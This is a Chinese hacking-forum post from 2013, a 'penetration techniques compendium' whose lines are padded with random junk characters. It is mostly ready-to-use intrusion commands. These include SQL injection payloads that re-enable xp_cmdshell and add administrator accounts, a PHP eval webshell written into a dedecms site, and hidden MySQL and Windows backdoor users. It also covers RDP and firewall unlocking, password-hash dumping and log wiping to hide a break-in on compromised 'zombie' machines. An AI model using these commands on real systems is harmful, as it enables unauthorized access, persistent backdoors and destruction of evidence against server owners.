中国网络渗透测试联盟

标题: 渗透技术大全 [打印本页]

作者: admin    时间: 2013-2-27 21:24
标题: 渗透技术大全
' ]. u9 b3 u" ]( M
1.net user administrator /passwordreq:no* f0 m6 N% I, z8 k3 c6 i1 h
这句的意思是"administrator帐号不需要密码",如果可以成功执行的话,3389登陆时administrator的密码就可以留空,直接登陆了,然后进去后再net user administrator /passwordreq:yes恢复就可以了# N, u% t$ k- }6 A+ b; `
2.比较巧妙的建克隆号的步骤
' A' `# J' a# y! [+ l1 e4 l/ D" |先建一个user的用户- r+ t* q+ X9 O. x( d9 z5 c
然后导出注册表。然后在计算机管理里删掉
, v, v5 \2 e2 D) s8 b6 J5 F在导入,在添加为管理员组6 c- ?2 E! Y5 y' Q+ p" O' \5 o
3.查radmin密码* x9 u7 x$ I3 t6 h. M0 C
reg save HKEY_LOCAL_MACHINE\SYSTEM\RAdmin c:\a.reg
& a! V% q2 j9 n- h$ [  d4.[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Window NT\CurrentVersion\Image File execution options]
) g7 y6 l! x: c" H建立一个"services.exe"的项: U* u" V# ]0 u" v9 v- J" v" q
再在其下面建立(字符串值)( B+ U3 R- u! H0 k6 a
键值为mu ma的全路径; l, X8 L& g2 b' S6 N+ k6 }! o+ I
5.runas /user:guest cmd
6 `4 F: V+ N, H2 g- @: F5 S测试用户权限!
: f+ [# v, ~5 t1 c& l( U8 P3 p6.、 tlntadmn config sec = -ntlm    exec master.dbo.xp_cmdshell \'tlntadmn config sec = -ntlm\'--   其实是利用了tlntadmn这个命令。想要详细了解,输入/?看看吧。(这个是需要管理员权限的哦)建立相同用户通过ntml验证就不必我说了吧?
2 n& y% v5 [" T4 O6 W5 r" Z8 J7.入侵后漏洞修补、痕迹清理,后门置放:
" V7 U. {& Z' h; A' }5 m基础漏洞必须修补,如SU提权,SA注入等。DBO注入可以考虑干掉xp_treelist,xp_regread自行记得web目录;你一定要记得清理痕迹~sqlserver连接使用企业管理器连接较好,使用查询分析器会留下记录,位于HKEY_CURRENT_USER\Software \Microsoft\Microsoft SQL Server\80\Tools\Client\PrefServers。删除之;IISlog的清除可不要使用AIO类的工具直接完全删除日志~可以选择logcleaner类工具只删除指定IP的访问记录,如果你能gina到管理员密码则通过登陆他清理日志并通过WYWZ进行最后的痕迹清理。话说回来手动清理会比较安全。最后留下一个无日志记录的后门。一句话后门数个,标准后门,cfm后门我一般都不会少。要修改时间的哦~还有一招比较狠滴,如果这个机器只是台普通的肉鸡,放个TXT到管理员桌面吧~提醒他你入侵了,放置了某个后门,添加了某个用户~(当然不是你真正滴重要后门~)要他清理掉。这样你有很大的可能性得以保留你的真实后门
, f: w' h! B5 y# l/ E; @( F8.declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c0 i5 T6 q& N7 m8 x% G  U3 _

1 K/ k" r7 h) o2 zfor example
6 A; j* W) M) s" ~3 h: h# Z' M2 \, P2 P) ?8 p& Q' ~1 c
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user aptime aptime /add') }4 E* E5 ?6 ^5 s: G& T- F
" b; i# x7 U7 N1 @" }
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrator aptime /add'* f. g1 g& v: e, @
4 ~& R9 g4 E. |8 f+ `5 d1 c! H; F
9:MSSQL SERVER 2005默认把xpcmdshell 给ON了
  a+ K( a) s) F如果要启用的话就必须把他加到高级用户模式; F" _) a# v! u+ Q+ A4 d$ D
可以直接在注入点那里直接注入
% V8 P0 G0 _7 S) z! r' e7 x6 cid=5;EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;--
% O. v5 \# Y+ P6 c/ S然后;dbcc addextendedproc("xp_cmdshell","xplog70.dll");--
6 x5 y0 e2 |2 @, ?5 o或者7 e+ M  ?/ [: J+ h" }& n: o
sp_addextendedproc xp_cmdshell,@dllname='xplog70.dll'
; w9 g& f" M" \, E: v来恢复cmdshell。6 `9 J; A3 R+ ^3 ], d0 q$ H( t/ \

) Z# ]7 h$ F& f1 B分析器
3 Z' _( P) a$ v9 rEXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;--1 ], }! U3 l, O
然后;dbcc addextendedproc("xp_cmdshell","xplog70.dll")7 i2 ^  p6 K: s' t3 h
10.xp_cmdshell新的恢复办法7 E) Q( N% p( h' n, u7 \
xp_cmdshell新的恢复办法& H/ i  J+ t( g
扩展储存过程被删除以后可以有很简单的办法恢复:
- c6 E( d# q' n/ [删除9 U. J8 H( w' \' R3 `6 ^! t, S& I
drop procedure sp_addextendedproc
$ }' K0 c* L1 F& i1 g, Vdrop procedure sp_oacreate4 P: _; q6 M% p% k. V" g* S+ b3 U
exec sp_dropextendedproc 'xp_cmdshell'
( i: e( H9 i2 ^  ]/ g9 G; s; E& ~# E6 t  U) J
恢复3 W+ J" V: ~! G& g0 I) ?
dbcc addextendedproc ("sp_oacreate","odsole70.dll"); |  I& h8 W1 l  {" t0 T, w3 \* Z
dbcc addextendedproc ("xp_cmdshell","xplog70.dll"). N. ]) Q  [# P5 ?% a3 m8 ?9 u; d

! |# f" D; U) ]0 E* }1 ^; @" p这样可以直接恢复,不用去管sp_addextendedproc是不是存在
2 F# `2 r) i7 W3 n
( K1 K1 d! P/ _( G, ?3 T-----------------------------9 F3 {# V. }4 o

) a, |$ v; U& h# r/ C: K* b删除扩展存储过过程xp_cmdshell的语句:; B8 y5 S) Z% o
exec sp_dropextendedproc 'xp_cmdshell'
  `+ w7 \9 f6 K- g& w, e
. F3 f3 Z- k6 {. Z- H" f; @恢复cmdshell的sql语句
) E" l% R: x) Uexec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'2 d# ]: i2 z' g9 c* D$ E: L
; `* _: v& p: o7 y

+ Q2 Z5 G4 y' l4 t4 l开启cmdshell的sql语句
5 K2 O3 B4 }' U4 |% U' z
. @) @% X  Z' _- Uexec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'
% t1 f+ F$ J" w, U4 C- |
7 I0 R8 u2 W5 H- @7 H判断存储扩展是否存在
. G; A" g, d0 P" uselect count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'
5 v/ v* L( t' _% J返回结果为1就ok  ~, Y, f' Y6 Q- {9 Y3 H1 E
2 i/ s2 |  j) j$ q
恢复xp_cmdshell/ w" F6 `; X. B; a7 Y- c% S
exec master.dbo.addextendedproc 'xp_cmdshell','xplog70.dll';select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'
/ Z" R: J* B) J8 a5 ?返回结果为1就ok
+ B) d/ V! d# ^, _" L0 G9 ~- j# y. |0 l1 B+ c' P$ @: ~8 O
否则上传xplog7.0.dll
: R3 h+ X7 \4 k) C+ Mexec master.dbo.addextendedproc 'xp_cmdshell','c:\winnt\system32\xplog70.dll'
) @! L4 L% l3 _# k' k+ }- t. d0 a0 Q: ?1 ^" g
堵上cmdshell的sql语句
* r- y5 b( V7 e4 z+ V% G4 T/ vsp_dropextendedproc "xp_cmdshel' U8 m/ Y5 ~# r' W" n' M. @
-------------------------4 N+ G% q) @/ u& I
清除3389的登录记录用一条系统自带的命令:. j. v7 ?! ^- v& r# K5 i
reg delete "hkcu\Software\Microsoft\Terminal Server Client"  /f
3 E7 c7 p1 @0 b! F8 }
8 Z* T  ?/ S% C9 ^9 p然后删除当前帐户的 My Documents 文件夹下的 Default.rdp 文件5 o( S8 F( Y; `7 H, }; u3 m
在 mysql里查看当前用户的权限
5 ~7 S( E) o, x( K5 {show grants for  & _1 h! r# |2 R4 U7 Y+ c

: Q1 D. f- a7 {- A- H4 e1 q以下语句具有和ROOT用户一样的权限。大家在拿站时应该碰到过。root用户的mysql,只可以本地连,对外拒绝连接。以下方法可以帮助你解决这个问题了,下面的语句功能是,建立一个用户为itpro 密码123 权限为和root一样。允许任意主机连接。这样你可以方便进行在本地远程操作数据库了。
- F5 Q2 S1 R" F5 G0 H
1 X7 C" r0 v7 q3 K9 O3 `+ s' J
  C! s# d4 K; U- j; JCreate USER 'itpro'@'%' IDENTIFIED BY '123';- X+ Z* \9 o/ M2 B
5 A) J& f. v4 t' [) m
GRANT ALL PRIVILEGES ON *.* TO 'itpro'@'%' IDENTIFIED BY '123'WITH GRANT OPTION$ V0 B- x6 f1 v. m: o7 p
/ w/ ^7 ^7 D/ f" w4 E* Y$ e* C9 Z
MAX_QUERIES_PER_HOUR 0 MAX_CONNECTIONS_PER_HOUR 0
0 c1 e5 B( G9 ^$ w& H, _
/ E/ r, h8 C# r5 C( _MAX_UpdateS_PER_HOUR 0 MAX_USER_CONNECTIONS 0;7 G' j; x. B: ]+ D' j$ y8 u9 d6 B
2 ?- D# @3 E, t- {
搞完事记得删除脚印哟。
( i4 c! ?4 j: E% ^5 Q5 q/ b0 g' e: |- s3 t5 b% P
Drop USER 'itpro'@'%';. _8 s9 d; s: J4 y- ~/ k  i4 M

' k; l$ k+ N9 G* ^, yDrop DATABASE IF EXISTS `itpro` ;+ o/ a6 `4 d7 n9 e

$ ~" D1 G4 I: D" s当前用户获取system权限+ }% G( G. p# G5 Z6 i5 g0 e6 L
sc Create SuperCMD binPath= "cmd /K start" type= own type= interact
' a' R  ^5 b. |5 Wsc start SuperCMD8 D7 J' T8 l" @- J* y) A0 K- r
程序代码; ]  C- D6 S& m  _- X
<SCRIPT LANGUAGE="VBScript">
' b) Z! {$ j/ O' Y+ |6 @2 X) oset wsnetwork=CreateObject("WSCRIPT.NETWORK")
( {' A; R( G6 w  X2 _* bos="WinNT://"&wsnetwork.ComputerName' q: ^! H  P! B2 H8 l, e( t9 e" p
Set ob=GetObject(os)8 F/ `  R& t- ?
Set oe=GetObject(os&"/Administrators,group")  X9 Q: j: u( M- L' r
Set od=ob.Create("user","nosec")1 m8 c8 h6 O2 ]$ b' D7 h
od.SetPassword "123456abc!@#"
9 u- o# r% T0 s0 O7 Yod.SetInfo
) U) _, I3 W2 a, U5 m3 CSet of=GetObject(os&"/nosec",user)
: F3 K+ I, K1 L! D2 `: G8 Xoe.add os&"/nosec": b7 n0 n" }5 G0 K! V( p2 s
</Script>. F$ u$ c: I* M, j
<script language=javascript>window.close();</script>
9 H/ B+ {  T& L6 D( I2 p9 O8 K7 F% H! B. Q: m' g% o

5 X0 e7 k6 L  O& ]/ \% p  e+ j5 q: D* C" F
9 G  b6 o2 ?# `2 q; p
突破验证码限制入后台拿shell
/ M4 j- a- i# a$ v, I程序代码
" D4 D  D9 C' I4 p, TREGEDIT4
, r2 ?( A9 I) I5 @* \% {! d[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\Security]
5 R. h% P$ A! s% Y"BlockXBM"=dword:00000000
: ~0 D* W8 {4 S
# A  E( r& n: R' R" Y保存为code.reg,导入注册表,重器IE
+ ]: j- k, j6 w2 ]就可以了3 b4 V4 P4 K! H3 N1 v+ g
union写马
& c& I/ E1 q6 g程序代码
: b- D- S5 l& o; @  Ywww.baidu.com/plus/infosearch.php?action=search&q=%cf'%20union%20select%201,2,3,4,'<?php%20eval($_POST[cmd])?>',6+into+outfile+'D:\\wwwroot\\duizhang.php'+/*. e; [' D6 j3 r- P

) w6 n! b3 H) [应用在dedecms注射漏洞上,无后台写马( n2 A4 f% E& E
dedecms后台,无文件管理器,没有outfile权限的时候
3 ?8 u" Y" r  T: a4 B+ M在插件管理-病毒扫描里
& ?& C! O4 m& S4 P; w5 S: F写一句话进include/config_hand.php里$ L/ D' L, w! G- @- g
程序代码' I3 v3 T6 C; c2 j7 m: |! Y
>';?><?php @eval($_POST[cmd]);?>  Z" R" U0 r; u

) z( V1 {" {& u$ O. _( d" w5 `0 G* J& j1 l/ S9 n1 {6 H
如上格式
: @/ \! D* ]9 I
' W( g8 x- ]% _* `: Ioracle中用低权限用户登陆后可执行如下语句查询sys等用户hash然后用cain破解
9 v4 i: R$ X( ?+ X- V程序代码& @9 n0 l5 F5 d9 A
select username,password from dba_users;. }8 @/ `4 o6 y& @0 ~5 s; T" w
) L# M  y# B8 e% G* l
6 I. K/ }" r( G. ^: ~
mysql远程连接用户
! k% F2 f, e2 E程序代码2 J- n! V% J8 F% Q
6 c+ N' \% I- ?: Q% d. G7 ~/ e4 }
Create USER 'nosec'@'%' IDENTIFIED BY 'fuckme';, H) y7 X* O& h
GRANT ALL PRIVILEGES ON *.* TO 'nosec'@'%' IDENTIFIED BY 'fuckme' WITH GRANT OPTION
8 V  M, W7 N, r4 [5 g* Y0 N4 FMAX_QUERIES_PER_HOUR 0 MAX_CONNECTIONS_PER_HOUR 0
/ Y* x1 n1 E; i  \MAX_UpdateS_PER_HOUR 0 MAX_USER_CONNECTIONS 0;: ^5 y; s7 r: x! C
4 A( H, D  j+ {4 C% H2 \1 f

4 b) S% F) A2 i2 E( Y. T" w) A* Y7 `' w: s, i6 Y8 F8 T

) a0 l# q# Y7 Q: s' b; ?echo y |reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0
* W- ^1 }6 Q- J. _2 {! ?) K
0 @) U2 ?3 h: G+ J' J! q1.查询终端端口3 _5 Q: e( ]5 `  [- J; M

/ E. W& l$ Q- bxp&2003:REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber8 l$ c& S: B6 N! L6 Y/ K9 Q( g
' R4 J' S1 O8 T+ g+ ~, n
通用:regedit /e tsp.reg "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal server\Wds\rdpwd\Tds\tcp"# X. u# s2 I$ w
type tsp.reg
! I* f8 \; J+ U4 B: \. Q4 @4 {
3 d; r- ]! }! D3 m2 K# ~6 F  [* _2.开启XP&2003终端服务
2 ]+ ?% S" y  M6 P" `' B  `) a) u5 a. V( T& _; q9 j2 U, b% Q3 ]* F7 h4 P

' d2 a4 @1 Y- u, V, q9 oREG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f- Z; P# u6 I% _/ L1 q' d3 H

% u# ?8 Y, z1 e7 s. ]6 Q5 p+ M
/ _$ `2 h1 F5 MREG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
; a& b  i# |# ^
5 R3 o' n5 V5 g: c+ D+ Z6 ]. |3.更改终端端口为20008(0x4E28)
% I. N7 A! ^) R7 ^# c% j( ]- y3 w3 u+ l( ~- p: Y
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\Wds\rdpwd\Tds\tcp /v PortNumber /t REG_DWORD /d 0x4E28 /f) y3 l9 ~! |0 G
; a- i  P. Z& U( X5 _
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber /t REG_DWORD /d 0x4E28 /f
5 N1 t6 L# Y' X, `7 C7 n% _0 z3 B" j- G0 X  H% N: u
4.取消xp&2003系统防火墙对终端服务3389端口的限制及IP连接的限制
" r* x" g! T, u+ g6 `5 ^6 Z8 t  j
REG ADD HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\GloballyOpenPorts\List /v 3389:TCP /t REG_SZ /d 3389:TCP:*:Enabledxpsp2res.dll,-22009 /f7 y6 r4 ]) v' C. T3 U) ~/ `' _
* e, W5 Y) F& P* Z5 r
1 Q, v. K% E% O
5.开启Win2000的终端,端口为3389(需重启). E' c0 W# s" B1 k, u, v
/ w  T: w0 h$ s) [  M9 U: s0 g
echo Windows Registry Editor Version 5.00 >2000.reg + N) y4 X  |' i" ^+ K
echo. >>2000.reg
! ?+ s9 |( S1 l! Secho [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\netcache] >>2000.reg " F) \1 p2 @+ ?# M9 [7 N( [" E
echo "Enabled"="0" >>2000.reg / }, X- n, X+ _& S
echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon] >>2000.reg 9 g5 ]+ g- m  z9 O( m
echo "ShutdownWithoutLogon"="0" >>2000.reg   E  r9 M7 |$ H7 j  g8 z
echo [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer] >>2000.reg , o0 M6 p6 R- ]2 o. _0 K
echo "EnableAdminTSRemote"=dword:00000001 >>2000.reg
8 s0 ~" l6 M8 Q9 \- R: {echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server] >>2000.reg   ~# Q& C! u! ?9 w
echo "TSEnabled"=dword:00000001 >>2000.reg
  P7 K, n' E9 i- Z4 yecho [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermDD] >>2000.reg $ K( K* O; G9 t& c
echo "Start"=dword:00000002 >>2000.reg ( S2 w; _5 o) {  [  W) p
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermService] >>2000.reg ) x1 N: a, q! W) X& |' M: g# N
echo "Start"=dword:00000002 >>2000.reg $ d3 l0 u. h; c, W6 D; T* W
echo [HKEY_USERS\.DEFAULT\Keyboard Layout\Toggle] >>2000.reg : b  w  _7 s  h7 k" I
echo "Hotkey"="1" >>2000.reg
3 E9 o9 \  j& Z4 Y8 wecho [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp] >>2000.reg 8 X0 |+ n( L/ V+ g9 _# i) p& V
echo "ortNumber"=dword:00000D3D >>2000.reg
) p$ m- c* S, ^$ {% [echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp] >>2000.reg % f5 f6 I8 D4 Q  D
echo "ortNumber"=dword:00000D3D >>2000.reg+ }" K8 F5 H8 d0 \
2 H- f5 ]% L* d- Q0 I. x
6.强行重启Win2000&Win2003系统(执行完最后一条一句后自动重启)
) o. H& P# h  R5 M4 q8 E
1 }0 i* s1 C2 u+ m$ c4 _  P8 [@ECHO OFF & cd/d %temp% & echo [version] > restart.inf
( u( m; w8 K8 V9 [% M# r(set inf=InstallHinfSection DefaultInstall)
& g0 a" W7 y9 W4 Vecho signature=$chicago$ >> restart.inf1 F' s9 f$ W9 I1 O& x3 q, s0 T# e
echo [defaultinstall] >> restart.inf+ s' [. C3 a2 y: L7 d3 o2 y
rundll32 setupapi,%inf% 1 %temp%\restart.inf
5 E7 m8 x8 H' {' E/ p! S
- W& p2 S8 ?5 _0 D
1 R# {5 |* q7 E) {( }' ^" \7.禁用TCP/IP端口筛选 (需重启)3 M0 F6 m. C: ~, P$ q% [

! W% H; [3 j( e* C3 Z9 l- NREG ADD HKLM\SYSTEM\ControlSet001\Services\Tcpip\parameters /v EnableSecurityFilters /t REG_DWORD /d 0 /f, F3 @5 ^) d- |# J. T

, R9 i( u, u% H) b! c. J8.终端超出最大连接数时可用下面的命令来连接2 H6 t) J( T1 |% y4 U' t

7 g1 L! H5 C8 G' y% kmstsc /v:ip:3389 /console
' y& v. q$ J0 h! @: i* h4 H$ r. `2 \+ q7 w. O. d: H# n
9.调整NTFS分区权限; g$ `* }3 ~7 E5 ~: J0 S
7 W6 I7 W- v( O
cacls c: /e /t /g everyone:F (所有人对c盘都有一切权利)& P8 R+ n$ f, f

: F8 l' b  }& }( c2 L# i" D) pcacls %systemroot%\system32\*.exe /d everyone (拒绝所有人访问system32中exe文件)
' v7 f- Z! [1 u% p* p' n. Q# w* `! ]" X9 }
------------------------------------------------------
. P. q/ @  o, B( q6 U+ @3389.vbs
1 \) P' r5 `5 [4 z2 XOn Error Resume Next
7 K0 M  c; t/ N1 G( `! Pconst HKEY_LOCAL_MACHINE = &H800000028 @5 K& l2 f. d# q' f
strComputer = "."7 u9 N* Y# z; O  ~. I2 f/ U* E
Set StdOut = WScript.StdOut
2 x  e! y1 d' e/ X/ `  D9 YSet oreg=GetObject("winmgmts:{impersonationLevel=impersonate}!\\" &_' ^6 F/ N0 e( p
strComputer & "\root\default:StdRegProv")% B/ V2 i0 V# k$ C! ?& M3 T
strKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server"
& [- C8 G3 h7 L7 Koreg.CreateKey HKEY_LOCAL_MACHINE,strKeyPath' L- D# P' g, G
strKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp"
; s% V- X" x9 q9 U4 n4 z$ N& j- Koreg.CreateKey HKEY_LOCAL_MACHINE,strKeyPath
5 M. `) i2 A0 @; `, u( g; YstrKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp"
' L( m+ d- K0 B: r2 y5 L4 gstrKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server"$ h" \" v( ^) G' V, H8 f
strValueName = "fDenyTSConnections"; i. G/ ?3 d' L
dwValue = 0
1 D- D4 K  M4 X& Y+ q( }: ooreg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,dwValue& w, u4 {$ p5 b/ g5 @' p; m% L% i
strKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp"" S& c# N7 l3 D9 P) N; ~
strValueName = "ortNumber") W: i; R- a2 f) m& o
dwValue = 3389
+ I& E( b* ~/ p9 u# [oreg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,dwValue/ L4 P0 N+ a# f2 s& ^# i
strKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp"
" F# J) w# ^: c5 R# [! KstrValueName = "ortNumber"- Y7 F/ ?; R9 t9 O
dwValue = 3389' E1 ]' o0 G- _1 d+ w/ t
oreg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,dwValue
5 L4 I( S2 [& U$ w0 N& x% gSet R = CreateObject("WScript.Shell")
/ e+ |  l0 O* J5 |" f- L6 GR.run("Shutdown.exe -f -r -t 0") 5 O$ }7 n( E7 h& P# O3 z( i* M

* Y* O' v3 ~8 E8 P' n. O) B6 g) B! K删除awgina.dll的注册表键值6 }- g; T% J" R7 n5 A! }6 i
程序代码
: _' d, S4 b$ F
- I2 |8 o# L7 \reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v GinaDLL /f
5 B: E  M) Q  Y1 E
+ i- f. U' O1 E0 u+ H* c. V8 g# `3 ?8 s1 z# b
: ?2 M. ]5 E% {5 F4 V/ r- I
. i$ E# B' p! E
程序代码
* t! }; n8 j+ HHKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\NoLMHash
' ?: F# s, y! _" `+ \# Z9 Q2 U: q' E' T; X
设置为1,关闭LM Hash8 k; s5 D& _, R) f1 X
- [" L3 _) a  K: h: j
数据库安全:入侵Oracle数据库常用操作命令$ g" \$ ?. W; t) y: l2 |
最近遇到一个使用了Oracle数据库的服务器,在狂学Oracle+请教高手后终于搞到了网站后台管理界面的所有用户密码。我发现Oracle操作起来真是太麻烦,为了兄弟们以后少走些弯路,我把入侵当中必需的命令整理出来。/ D7 x' l5 p1 k; Y3 R$ V6 Z
1、su – oracle 不是必需,适合于没有DBA密码时使用,可以不用密码来进入sqlplus界面。
1 f3 k( D7 i6 s. ?2、sqlplus /nolog 或sqlplus system/manager 或./sqlplus system/manager@ora9i;9 }) v1 W( t6 I, ~1 [: x4 H5 P5 s
3、SQL>connect / as sysdba ;(as sysoper)或
  p3 E- {2 I, d+ N6 R  Aconnect internal/oracle AS SYSDBA ;(scott/tiger)& t$ E5 Y1 A- n' \
conn sys/change_on_install as sysdba;0 P, q# k& ?1 `, m+ k* z
4、SQL>startup; 启动数据库实例/ ]1 q" g% E+ R3 U
5、查看当前的所有数据库: select * from v$database;
! E; E5 O- M6 ~2 h. Oselect name from v$database;3 _5 C8 ?2 b) S  ~+ Y0 w( N( S) f! O
6、desc v$databases; 查看数据库结构字段2 F/ p% \  h. t' x# A" Z3 g* X# ^
7、怎样查看哪些用户拥有SYSDBA、SYSOPER权限:
" t- r9 s) }- H% `. CSQL>select * from V_$PWFILE_USERS;
) L# ?- F& g- b2 x, TShow user;查看当前数据库连接用户
' @- a9 e/ \( k5 b" n8、进入test数据库:database test;
4 T. R! V3 l4 Q: o( I# }! D9、查看所有的数据库实例:select * from v$instance;$ M. k$ O# \! L& g$ G3 `
如:ora9i
5 W2 _) h9 h9 M3 i! B( ?# ^4 S10、查看当前库的所有数据表:
) u# ~! Y* F( R, B) X1 JSQL> select TABLE_NAME from all_tables;7 b) h! ]7 G( R- k- ~" k3 j* D
select * from all_tables;
( }9 `  V  M# ]0 Z5 p) qSQL> select table_name from all_tables where table_name like '%u%';
! n2 i+ N! n, W7 f5 ~* i3 Z2 CTABLE_NAME
8 S1 {* n# d; t5 @1 h4 m/ _; U. y------------------------------
& C2 Z9 r2 K8 F_default_auditing_options_
: L2 _. c( j' {9 e+ W11、查看表结构:desc all_tables;
0 K4 q( Q+ P! p, u3 g12、显示CQI.T_BBS_XUSER的所有字段结构:' L6 n; `2 P- w& w/ V: S; @" d
desc CQI.T_BBS_XUSER;
( p6 H+ L. Q( ~4 ?13、获得CQI.T_BBS_XUSER表中的记录:6 `1 g6 x1 ?, w' G% ~! s) d
select * from CQI.T_BBS_XUSER;" p  K5 t" _' R; y0 c. T- O- y
14、增加数据库用户:(test11/test)
$ i, n, B' Y5 G/ y# G& C& Q# zcreate user test11 identified by test default tablespace users Temporary TABLESPACE Temp;
) f1 r; Y8 w1 q0 W15、用户授权:% A9 q2 Y" y3 z/ \" }$ b
grant connect,resource,dba to test11;7 @; `: \% w) q4 C+ ~  u
grant sysdba to test11;& Z0 q5 f, {& v$ S# X
commit;
4 D' s6 J7 o; _! X) n: b16、更改数据库用户的密码:(将sys与system的密码改为test.)# i4 H7 o' V( `5 k; ~/ L2 j
alter user sys indentified by test;! q3 k- R8 f1 l0 ^* r( x3 ]  ~! z
alter user system indentified by test;
; \, e( r$ K. V- y4 C$ o6 y7 @
8 x( n  E+ g; ^0 UapplicationContext-util.xml! E, f; ^: F+ q: ]" q, O3 K$ P
applicationContext.xml  m; ^4 R$ c$ M7 ~* L
struts-config.xml! ]+ J: a$ ^& n3 `5 |8 G
web.xml" i3 M6 {4 v- g" x; t  v
server.xml
, ]2 x9 ~, n; T/ dtomcat-users.xml
' h3 p( S$ }8 A: t/ F6 I5 @  O' Bhibernate.cfg.xml
+ e, L% g! G/ |/ Odatabase_pool_config.xml
  R3 N  C, r  O; _
1 {6 {. ]3 x) d! F0 B) O$ a* E) u* @2 x% C' R* G. X8 n0 V/ q1 ~. y
\WEB-INF\classes\hibernate.cfg.xml 数据库连接配置6 v+ B4 k$ a: e$ Y# b0 H5 _7 M
\WEB-INF\server.xml         类似http.conf+mysql.ini+php.ini0 A$ M: u( G1 e( \0 H- {& \
\WEB-INF\struts-config.xml  文件目录结构
- @; J* x6 d7 k/ O6 L  {" C4 ^! C. \. q6 I2 H6 {
spring.properties 里边包含hibernate.cfg.xml的名称
7 |! M; w( M$ d( H. A7 \! s' P' G4 m4 N' C& m, z
2 J: R! ]- r1 ?* o/ A
C:\Program Files\Apache Software Foundation\Tomcat 5.5\conf\tomcat-users.xml8 y( u, K6 K% i$ S! A( y6 d! A! p& v$ ]
- L% s) R' E5 G: n$ a
如果都找不到  那就看看class文件吧。。& V5 W% E& W- J. S& {# ^
- E/ p) E7 k# c2 h
测试1:1 [+ e9 Y5 a5 a& n' W; Y
SELECT top 1 name=STUFF((SELECT ','+[name] FROM sysobjects t  where xtype='U' FOR XML PATH('')), 1, 1, '') FROM sysobjects t1
3 ?. T& c. ^/ t: I7 g4 _" }& y5 ^9 t  S( h0 `; i
测试2:& g% E, \+ l5 u" D7 w
! V/ ]5 g$ L, _: z
create table dirs(paths varchar(100),paths1 varchar(100), id int)
4 Y8 x( C0 G: _4 [+ t6 [+ p# M
" C6 m; d  K# S7 i5 Ndelete dirs;insert dirs exec master.dbo.xp_dirtree 'c:\',1,1--) ~% K0 O' Q$ M5 k5 b
. U# p$ ^. H0 `8 D3 W+ r
SELECT top 1 paths=STUFF((SELECT ','+[paths] FROM dirs FOR XML PATH('')), 1, 1, '') FROM dirs t1! R' {& V) m) v- P( D" J% x8 A8 h
1 O: C+ O# {2 ?; }. M9 @) I0 v
查看虚拟机中的共享文件:- n9 }$ S! H4 n7 z/ n' ?( f
在虚拟机中的cmd中执行0 ?) H1 Z! ]1 a( `; }) ?6 m
\\.host\Shared Folders
1 U# U. X( x0 l. }1 g5 x% u' ]: u( s) ^0 U' F5 a
cmdshell下找终端的技巧3 J2 b8 f# q0 @* k; O
找终端:
+ \, D0 F% y# d第一步: Tasklist/SVC 列出所有进程,系统服务及其对应的PID值!
' K5 E# b( q5 l6 S3 I   而终端所对应的服务名为:TermService 8 u! J( ?* I4 Z+ ~$ Q/ w
第二步:用netstat -ano命令,列出所有端口对应的PID值!
, E2 f, U8 p# N: @# _( s7 X   找到PID值所对应的端口
- e% z$ _7 b; V0 C1 u2 j
0 Q' S7 E( Z: M* k查询sql server 2005中的密码hash
* d) c% t$ |* p+ {SELECT password_hash FROM sys.sql_logins where name='sa'8 K9 [3 J# _& G7 v4 s
